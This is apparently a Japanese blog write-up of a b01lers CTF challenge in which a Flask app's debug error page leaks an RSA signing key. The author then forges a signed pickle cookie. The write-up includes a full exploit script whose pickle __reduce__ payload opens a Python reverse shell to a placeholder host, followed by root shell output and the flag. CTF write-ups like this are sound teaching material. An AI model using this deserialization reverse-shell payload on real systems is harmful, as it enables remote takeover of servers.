はまやんはまやんはまやん

hamayanhamayan's blog

EnFlaskCom [b01lers CTF bootcamp]

EnFlaskCom
Some of the easiest crypto you've ever seen. Now go, hack the mainframe.
http://chal.ctf.b01lers.com:3000

調査

Flag is at /flag. Don't bother with a reverse shell.

/flagにアクセスするとYou need to be adminと言われる。
よく見るとクッキーが入っている。

user
80049518000000000000008c085f5f6d61696e5f5f948c04557365729493942981942e
signature
58ca1d226a6ab51440a142aa047ac2d564cdf80df647f816818879fb596b4485895861744bed09d4962917709c2a0dc1f8f14dbce24ee0868cf8efeca6f9ffd8f7405ea8fbcc494466ee30218c26faeb4bf6398a61f521b2acdf488191e034be808dccda36b8a26033bcb355502110cb3a3cccdc8287b51cbebc9b6e33574a5e

Server: Werkzeug/1.0.1 Python/3.8.2

んー、何から手を付ければいい?

Writeups

はーなるほど。エラーから情報を抜き出していくのか。

エラーを出そう!

Cookieのuserの最後の文字を変更して挙動を見てみると、エラーページが出てくる。
AssertionErrorとなるようだ。
Werkzeugのエラーページなので、pythonコンソールを出そうとして見るがPINコードを要求される。
こんな機能があるのか。
server.pyというファイル名でassert文で引っかかってるのは分かる。実はクリックすると近辺が見られる。

def flag():
    signature = binascii.unhexlify(request.cookies.get("signature"))
    checkme = sign(request.cookies.get("user"))
    print(signature)
    print(checkme)
    assert signature == checkme
 
    user = pickle.loads(binascii.unhexlify(request.cookies.get("user")))
 
    if user.is_admin():
        <200b>with open('flag.txt', 'r') as f

pickleしてるのは分かったが、sign関数で何をしているかが気になる所…
cookieのuserを消すと別のエラーとなる。

def sign(msg):
    if type(msg) is not bytes:
        <200b>msg = bytes(msg, 'utf8')
    keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156)
    signer = pkcs1_15.new(keyPair)
    hsh = SHA384.new()
    hsh.update(msg)
    signature = signer.sign(hsh)

すべて見えてる感じがある。

Insecure Deserialization on Pickle

ここまでくれば、Pickleすればよさそうな感じがする。
むっちゃ色々頑張ったけど、curlは用意されて無さそう…
公式解法では例外を出力先としていて、もう一つの解法ではなぜか入っているperlを使ってリバースシェルを起動している。
そうか。pythonは絶対入ってるから、pythonでリバースシェルを書けばいいのか。
色々参考にして以下のように書くとリバースシェル達成。

from Crypto.Hash import SHA384
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5 as pkcs1_15
import binascii
import pickle

def sign(msg):
    if type(msg) is not bytes:
        msg = bytes(msg, 'utf8')
    keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027, e=65537, d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601, p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843, q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089, u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156)
    signer = pkcs1_15.new(keyPair)
    hsh = SHA384.new()
    hsh.update(msg)
    signature = signer.sign(hsh)
    return signature

class User:
    def __reduce__(self):
        return exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('[ip]',[port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')",)

code = pickle.dumps(User())
code = binascii.hexlify(code)
print(code)
print(binascii.hexlify(sign(code)))

以下のようにシェルが奪取できるので、好きに探索するとフラグがある。

root@f57a160a74e6:/var/www/enflaskcom# ls
ls
flag.txt  requirements.txt  server.py
root@f57a160a74e6:/var/www/enflaskcom# cat flag.txt
cat flag.txt
flag{RsA-S0_secur3_e}